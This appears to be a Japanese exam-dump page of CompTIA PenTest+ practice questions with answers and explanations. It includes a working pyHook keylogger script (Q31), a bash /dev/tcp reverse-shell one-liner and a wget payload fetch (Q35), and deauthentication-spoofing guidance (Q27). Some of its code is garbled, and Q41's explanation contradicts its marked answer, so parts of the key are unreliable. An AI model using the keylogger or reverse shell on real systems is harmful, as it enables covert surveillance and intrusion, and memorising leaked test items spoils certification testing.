[2025年02月19日]PT0-002日本語試験問題集PDF正確率保証と更新された問題 [Q26-Q47]

Share

[2025年02月19日]PT0-002日本語試験問題集PDF正確率保証と更新された問題

合格させるPT0-002日本語試験にはリアルテストエンジンPDFには460問題あります

質問 # 26
以前のシステムへのアクセスを取得した後、ペネトレーション テスターはネットワークに対して Nmap スキャンを実行し、次の結果を得ます。

次にテスターは、以前に悪用されたシステムから次のコマンドを実行しますが、失敗します。
コマンドが失敗した理由を説明しているのは次のうちどれですか?

  • A. RDP のアカウントがサーバーに存在しません。
  • B. テスターが間違った IP アドレスを入力しました。
  • C. コマンドには -port 135 オプションが必要です。
  • D. PowerShell には管理者権限が必要です。

正解:A


質問 # 27
侵入テスターは、ワイヤレス セキュリティを確認するために契約されています。テスターは、ターゲットのエンタープライズ WiFi の構成を模倣する悪意のあるワイヤレス AP を展開しました。侵入テスターは、近くのワイヤレス ステーションを強制的に悪意のある AP に接続させようとしています。テスターが次に取るべきステップはどれですか?

  • A. 2.4GHz と 5GHz のすべてのチャネルでジャミングを実行します。
  • B. 悪意のある AP の構成を変更して、事前共有キーを使用しないようにします。
  • C. 認証解除フレームをステーションに送信します。
  • D. 動的周波数選択チャネル内でブロードキャストするように悪意のある AP を設定します。

正解:C

解説:
https://steemit.com/informatica/@jordiurbina1/tutorial-hacking-wi-fi-wireless-networks-with-wifislax
The penetration tester should send deauthentication frames to the stations to force them to disconnect from their current access point and reconnect to another one, which may be the malicious AP deployed by the tester. Deauthentication frames are part of the 802.11 protocol and are used to terminate an existing wireless association between a station and an access point. However, they can also be spoofed by an attacker to disrupt or hijack wireless connections. The other options are not effective or relevant for this purpose. Performing jamming on all 2.4GHz and 5GHz channels would interfere with all wireless signals in the area, which may cause unwanted attention or legal issues. Setting the malicious AP to broadcast within dynamic frequency selection channels would not help, as these channels are used to avoid interference with radar systems and are not commonly used by wireless stations or access points. Modifying the malicious AP configuration to not use a pre-shared key would not help, as it would make it less likely for wireless stations to connect to it if they are configured to use encryption.


質問 # 28
シミュレーション
出力を使用して、さらに調査する必要がある潜在的な攻撃ベクトルを特定します。




正解:

解説:
See explanation below.
Explanation:
1: Null session enumeration
Weak SMB file permissions
Fragmentation attack
2: nmap
-sV
-p 1-1023
192.168.2.2
3: #!/usr/bin/python
export $PORTS = 21,22
for $PORT in $PORTS:
try:
s.connect((ip, port))
print("%s:%s - OPEN" % (ip, port))
except socket.timeout
print("%:%s - TIMEOUT" % (ip, port))
except socket.error as e:
print("%:%s - CLOSED" % (ip, port))
finally
s.close()
port_scan(sys.argv[1], ports)


質問 # 29
侵入テスターはターゲットに対して Nmap スキャンを実行し、次の結果を受け取ります。

テスターがターゲットの TCP ポート 1080 を使用してスキャン ツールをリダイレクトするには、次のうちどれを使用する必要がありますか?

  • A. OWASPZAP
  • B. ネッスス
  • C. プロキシチェーン
  • D. 帝国

正解:C


質問 # 30
次のプロトコルまたはテクノロジーのうち、最終的なセキュリティ評価レポートを電子メールで送信するための転送中の機密性保護を提供するのはどれですか?

  • A. FTPS
  • B. S/MIME
  • C. AS2
  • D. DNSSEC

正解:B

解説:
S/MIME stands for Secure/Multipurpose Internet Mail Extensions and is a standard for encrypting and signing email messages. It uses public key cryptography to ensure the confidentiality, integrity, and authenticity of email communications. FTPS is a protocol for transferring files securely over SSL/TLS, but it is not used for emailing. DNSSEC is a protocol for securing DNS records, but it does not protect email content. AS2 is a protocol for exchanging business documents over HTTP/S, but it is not used for emailing.


質問 # 31
評価中に、ペネトレーション テスターは次の Python スクリプトを CompTIA の従業員に電子メールで送信しました。
import pyHook, sys, logging, pythoncom, datetime
log_file='C:\\Windows\\Temp\\log_comptia.txt' def KbrdEvent(event):
logging.basicConfig(filename=log_file,level=logging.DEBUG, format='%(messages)s') chr(event.Ascii) logging.log(10, chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = KbrdEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()このスクリプトの意図された効果は次のうちどれですか?

  • A. ログを収集しています
  • B. エクスプロイトのデバッグ
  • C. キーロギング
  • D. タスクのスケジュール設定

正解:C

解説:
The provided Python script is designed to function as a keylogger, which is a type of surveillance software that has the capability to record every keystroke made on a computer. The script uses the pyHook library to hook into and monitor all keyboard events. When a key is pressed, the KbrdEvent function is triggered, which logs the ASCII value of the pressed key to a file named log_comptia.txt located in C:\\Windows\\Temp. The script is configured to continuously monitor keyboard events and log them, making its intended effect keylogging, rather than debugging an exploit, collecting logs in a general sense, or scheduling tasks.


質問 # 32
ペネトレーションテスターは、アクティブなシステムを迅速に特定するためにクラス C ネットワークを検査しています。ペネトレーションテスターは次のコマンドのうちどれを使用する必要がありますか?

  • A. nmap גsN 192.168.0.0/24
  • B. nmap גsn 192.168.0.1/16
  • C. nmap גsn 192.168.0.1 192.168.0.1.254
  • D. nmap גsn 192.168.0.1-254

正解:D


質問 # 33
侵入テスト中、ドメイン名、IP 範囲、ホスト、およびアプリケーションは次の場所で定義されます。

  • A. ROE。
  • B. NDA
  • C. SOW。
  • D. SLA。

正解:A

解説:
Explanation
https://mainnerve.com/what-are-rules-of-engagement-in-pen-testing/#:~:text=The%20ROE%20includes%20the%


質問 # 34
ペネトレーション テスターが検出スキャンを実行した結果、次のものが生成されました。

次のコマンドのうち、上記の結果を生成し、さらに分析するためにそれらをアクティブなホストのリストに変換するのはどれですか?

  • A. nmap -o 192.168.0.1-254、カット -f 2
  • B. nmap --open 192.168.0.1-254, uniq
  • C. nmap -sn 192.168.0.1-254 、grep "Nmap スキャン" | awk '{print S5}'
  • D. nmap -oG list.txt 192.168.0.1-254 、ソート

正解:C

解説:
the NMAP flag (-sn) which is for host discovery and returns that kind of NMAP output. And the AWK command selects column 5 ({print $5}) which obviously carries the returned IP of the host in the NMAP output.
This command will generate the results shown in the image and transform them into a list of active hosts for further analysis. The command consists of three parts:
nmap -sn 192.168.0.1-254: This part uses nmap, a network scanning tool, to perform a ping scan (-sn) on the IP range 192.168.0.1-254, which means sending ICMP echo requests to each IP address and checking if they respond.
grep "Nmap scan": This part uses grep, a text filtering tool, to search for the string "Nmap scan" in the output of the previous part and display only the matching lines. This will filter out the lines that show the start and end time of the scan and only show the lines that indicate the status of each host.
awk '{print $5}': This part uses awk, a text processing tool, to print the fifth field ($5) of each line in the output of the previous part. This will extract only the IP addresses of each host and display them as a list.
The final output will look something like this:
192.168.0.1 192.168.0.12 192.168.0.17 192.168.0.34


質問 # 35
侵入テスターは、ステージング サーバーで次のコマンドを実行しました。
python -m SimpleHTTPServer 9891
次のコマンドのうち、エクスプロイトという名前のファイルをターゲット マシンにダウンロードして実行するために使用できるものはどれですか?

  • A. wget 10.10.51.50:9891/エクスプロイト
  • B. powershell -exec bypass -f \\10.10.51.50\9891
  • C. nc 10.10.51.50 9891 < エクスプロイト
  • D. bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/エクスプロイト

正解:A


質問 # 36
新しいセキュリティ会社は、最初のクライアントをオンボーディングしています。クライアントは週末のみテストを許可し、月曜日の朝に結果を必要としていました。ただし、評価チームは月曜日まで期待どおりに環境にアクセスできませんでした。セキュリティ会社が評価を開始する前に取得しておくべきものは次のうちどれですか?

  • A. クライアントの適切な緊急連絡先
  • B. 署名入りの作業明細書
  • C. 正しいユーザー アカウントと関連するパスワード
  • D. 評価の予想される時間枠

正解:B

解説:
Explanation
According to the CompTIA PenTest+ Study Guide, Exam PT0-0021, a statement of work (SOW) is a document that defines the scope, objectives, deliverables, and terms of a penetration testing project. It is a formal agreement between the service provider and the client that specifies what is expected from both parties, including the timeline, budget, resources, and responsibilities. A SOW is essential for any penetration testing engagement, as it helps to avoid misunderstandings, conflicts, and legal issues.
The CompTIA PenTest+ Study Guide also provides an example of a SOW template that covers the following sections1:
Project overview: A brief summary of the project's purpose, scope, objectives, and deliverables.
Project scope: A detailed description of the target system, network, or application that will be tested, including the boundaries, exclusions, and assumptions.
Project objectives: A clear statement of the expected outcomes and benefits of the project, such as identifying vulnerabilities, improving security posture, or complying with regulations.
Project deliverables: A list of the tangible products or services that will be provided by the service provider to the client, such as reports, recommendations, or remediation plans.
Project timeline: A schedule of the project's milestones and deadlines, such as kickoff meeting, testing phase, reporting phase, or closure meeting.
Project budget: A breakdown of the project's costs and expenses, such as labor hours, travel expenses, tools, or licenses.
Project resources: A specification of the project's human and technical resources, such as team members, roles, responsibilities, skills, or equipment.
Project terms and conditions: A statement of the project's legal and contractual aspects, such as confidentiality, liability, warranty, or dispute resolution.
The CompTIA PenTest+ Study Guide also explains why having a SOW is important before starting an assessment1:
It establishes a clear and mutual understanding of the project's scope and expectations between the service provider and the client.
It provides a basis for measuring the project's progress and performance against the agreed-upon objectives and deliverables.
It protects both parties from potential risks or disputes that may arise during or after the project.


質問 # 37
侵入テスターは、1 つのエンゲージメントで使用される次のスクリプトを作成しました。

このスクリプトが実行するアクションは次のうちどれですか?

  • A. リバース シェルをリッスンします。
  • B. 暗号化されたトンネルを作成します。
  • C. 開いているポートを探します。
  • D. 開いているポートをフラッディングしようとします。

正解:C

解説:
The script will perform a port scan on the target IP address, looking for open ports on a list of common ports.
A port scan is a technique that probes a network or a system for open ports, which can reveal potential vulnerabilities or services running on the host.


質問 # 38
侵入テスターは、Nmap を使用してホスト 64.13.134.52 をスキャンし、次の結果を受け取りました。

出力に基づいて、次のサービスのうち、悪用される可能性が最も高いのはどれですか? (2つ選んでください。)

  • A. Telnet
  • B. DNS
  • C. SMTP
  • D. NTP
  • E. SNMP
  • F. HTTP

正解:B、F


質問 # 39
ペネトレーション テスターは Nmap スキャンを実行しており、接続を確立せずにポートをスキャンしたいと考えています。
テスターは、プロジェクトで実行されているサービスのバージョン データ情報も見つけたいと考えています。テスターは次の Nmap コマンドのうちどれを使用する必要がありますか?

  • A. ..nmap -sU -sV -T4 -F target.company.com
  • B. ..nmap -sS -sV -F target.company.com
  • C. ..nmap -sT -v -T5 target.company.com
  • D. ..nmap -sX -sC target.company.com

正解:B

解説:
The Nmap command that the tester should use to scan for ports without establishing a connection and to find version data information for services running on open ports is nmap -sS -sV -F target.company.com. This command has the following options:
-sS performs a TCP SYN scan, which is a scan technique that sends TCP packets with the SYN flag set to the target ports and analyzes the responses. A TCP SYN scan does not establish a full TCP connection, as it only completes the first step of the three-way handshake. A TCP SYN scan can stealthily scan for open ports without alerting the target system or application.
-sV performs version detection, which is a feature that probes open ports to determine the service and version information of the applications running on them. Version detection can provide useful information for identifying vulnerabilities or exploits that affect specific versions of services or applications.
-F performs a fast scan, which is a scan option that only scans the 100 most common ports according to the nmap-services file. A fast scan can speed up the scan process by avoiding scanning less likely or less interesting ports.
target.company.com specifies the domain name of the target system or network to be scanned.
The other options are not valid Nmap commands that meet the requirements of the question. Option A performs a UDP scan (-sU), which is a scan technique that sends UDP packets to the target ports and analyzes the responses. A UDP scan can scan for open ports that use UDP protocol, such as DNS, SNMP, or DHCP. However, a UDP scan does establish a connection with the target system or application, unlike a TCP SYN scan. Option C performs a TCP connect scan (-sT), which is a scan technique that sends TCP packets with the SYN flag set to the target ports and completes the three-way handshake with an ACK packet if a SYN/ACK packet is received. A TCP connect scan can scan for open ports that use TCP protocol, such as HTTP, FTP, or SSH. However, a TCP connect scan does establish a full TCP connection with the target system or application, unlike a TCP SYN scan. Option D performs an Xmas scan (-sX), which is a scan technique that sends TCP packets with the FIN, PSH, and URG flags set to the target ports and analyzes the responses. An Xmas scan can stealthily scan for open ports without alerting the target system or application, similar to a TCP SYN scan. However, option D does not perform version detection (-sV), which is one of the requirements of the question.


質問 # 40
クライアントがペネトレーションテストチームとの教訓的なミーティングを開催する理由を最もよく表しているのは、次のうちどれですか?

  • A. 調査結果について話し合い、誤検知に異議を唱えるため
  • B. 侵入テスト チームが、テスト中に収集されたすべての企業データを確実に破棄するため
  • C. 評価中に期待に応えられなかったプロセスを特定する
  • D. レポートの構造に関するフィードバックを提供し、改善を推奨するため

正解:C


質問 # 41
セキュリティ評価中に、侵入テスターは、1000 から 2000 までの開いているポートをチェックするための単純な TCP ポート スキャナーを実装することにしました。次の Python スクリプトのどれがこのタスクを実現しますか?

  • A. i が範囲(1001, 2000)内である場合: s = socket(AF_INET, SOCK_STREAM) conn = s.connect-ex((host_IP, i)) if (conn == 0): print (f'Port {i} OPEN') s.close ()
  • B. i が範囲(1000, 2001)内である場合: s = socket(AF-INET, SOCK_DGRAM) conn = s.connect-ex((host_IP, i)) if (conn == 0): print(f'ポート {i} OPEN') s.close ()
  • C. i が範囲 (1000, 2000) の場合: s = socket(SOCK_STREAM, AF_INET) conn = s.connect-ex((host-IP, i)) if (conn == 0): print (f'Port {i} OPEN') s.close()
  • D. i が範囲(1000, 2001)内である場合: s = socket(AF_INET, SOCK_STREAM)
    接続 = s.connect_ex((ホスト_IP, i))
    (接続 == 0)の場合:
    print(fPort {i} OPEN')
    s.close() 関数

正解:D

解説:
The correct Python script for implementing a simple TCP port scanner that checks for open ports from 1000 to 2000 is option A.
This script uses a for loop to iterate through the range of ports, creates a socket object for each port using the socket.
AF_INET address family (indicating IPv4) and socket.SOCK_STREAM socket type (indicating TCP), and attempts to connect to each port.
If the connection attempt (connect_ex) returns 0, it indicates the port is open, and the script prints a message stating that the port is open before closing the socket. The other options contain syntax errors, use incorrect socket types, or have incorrect ranges that do not fully cover the specified ports.


質問 # 42
規制遵守の証明として侵入テストの結果を正式に記録する文書はどれですか?

  • A. テスト方法の概要
  • B. 調査結果の証明
  • C. 改善計画
  • D. 概要

正解:B

解説:
An attestation of findings formally documents the results of a penetration test, as required for PCI DSS compliance. This ensures the client has clear proof of testing activities and results for regulatory purposes.
This corresponds to CompTIA Pentest+ objectives under compliance-based reporting.


質問 # 43
次のタイプの評価のうち、特定のデータにアクセスする目的で脆弱性に最も焦点を当てている可能性が高いのはどれですか?

  • A. 既知の環境評価
  • B. コンプライアンスに基づく評価
  • C. 未知環境評価
  • D. 赤チームの評価

正解:D

解説:
A red-team assessment is a type of penetration testing that simulates a real-world attack scenario with the goal of accessing specific data or systems. A red-team assessment is different from an unknown-environment assessment, which does not have a predefined objective and focuses on discovering as much information as possible about the target. A known-environment assessment is a type of penetration testing that involves cooperation and communication with the target organization, and may not focus on specific data or systems. A compliance-based assessment is a type of penetration testing that aims to meet certain regulatory or industry standards, and may not focus on specific data or systems.


質問 # 44
ある作業中に、ジュニア侵入テスターが、不明なネットワーク セグメントにつながるマルチホーム ホストを発見しました。侵入テスターは、ネットワーク セグメントに対してポート スキャンを実行しましたが、その結果、顧客の工場で停止が発生しました。ジュニア侵入テスターが将来この問題を回避するために従わなければならない可能性が高いドキュメントは次のどれですか。

  • A. SLA
  • B. MSA
  • C. NDA
  • D. ROE

正解:D

解説:
Rules of Engagement (ROE) documents outline the scope, boundaries, and rules for a penetration test to prevent unintended consequences such as network outages.
Details:
* NDA (Non-Disclosure Agreement): Protects confidential information but does not provide guidelines for engagement.
* MSA (Master Service Agreement): General terms and conditions for services but does not detail specific engagement rules.
* ROE (Rules of Engagement): Specifies the limits and guidelines for testing, including which systems can be tested, when, and how, to avoid disruptions.
* SLA (Service Level Agreement): Defines the level of service expected but does not guide the testing process.
References: ROE is a critical document in penetration testing engagements to ensure both the tester and client are aligned on the scope and limitations, as outlined in various penetration testing standards and methodologies.


質問 # 45
侵入テスターは偵察スクリプトを実行し、そのデータを別のアプリケーションに渡すために、出力を標準化された機械可読形式で取得したいと考えています。テスターが使用するのに最適なのは次のうちどれですか。

  • A. XLS
  • B. JSON
  • C. Trees
  • D. Lists

正解:B

解説:
JSON (JavaScript Object Notation) is the best format for a penetration tester to use when they need the output of a reconnaissance script in a standardized machine-readable format to pass data to another application. JSON is widely supported across different programming languages and platforms, making it an ideal choice for data interchange. It allows for the hierarchical organization of data, is easy to read and write, and can be parsed and generated by numerous tools and libraries. This makes JSON a versatile and practical choice for a variety of applications in penetration testing and beyond.
References:
* RFC 8259 - The JavaScript Object Notation (JSON) Data Interchange Format
* OWASP - JSON Security


質問 # 46
ペネトレーションテスターが 192.168.1.112 の評価を実施しています。次の出力があるとします。

ペネトレーションテスターが実行しているのは次のうちどれですか?

  • A. 資格情報のスタッフィング
  • B. ポートスキャン
  • C. ブルートフォース
  • D. DoS 攻撃

正解:C

解説:
The output shows multiple login attempts with different passwords for the same username "root" on the IP address 192.168.1.112. This is indicative of a brute force attack, where an attacker systematically tries various password combinations to gain unauthorized access. Reference: The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 4: Conducting Passive Reconnaissance; The Official CompTIA PenTest+ Student Guide (Exam PT0-002), Lesson 4: Conducting Active Reconnaissance.


質問 # 47
......

最新をゲットせよ!PT0-002日本語認定練習テスト問題試験問題集:https://www.goshiken.com/CompTIA/PT0-002J-mondaishu.html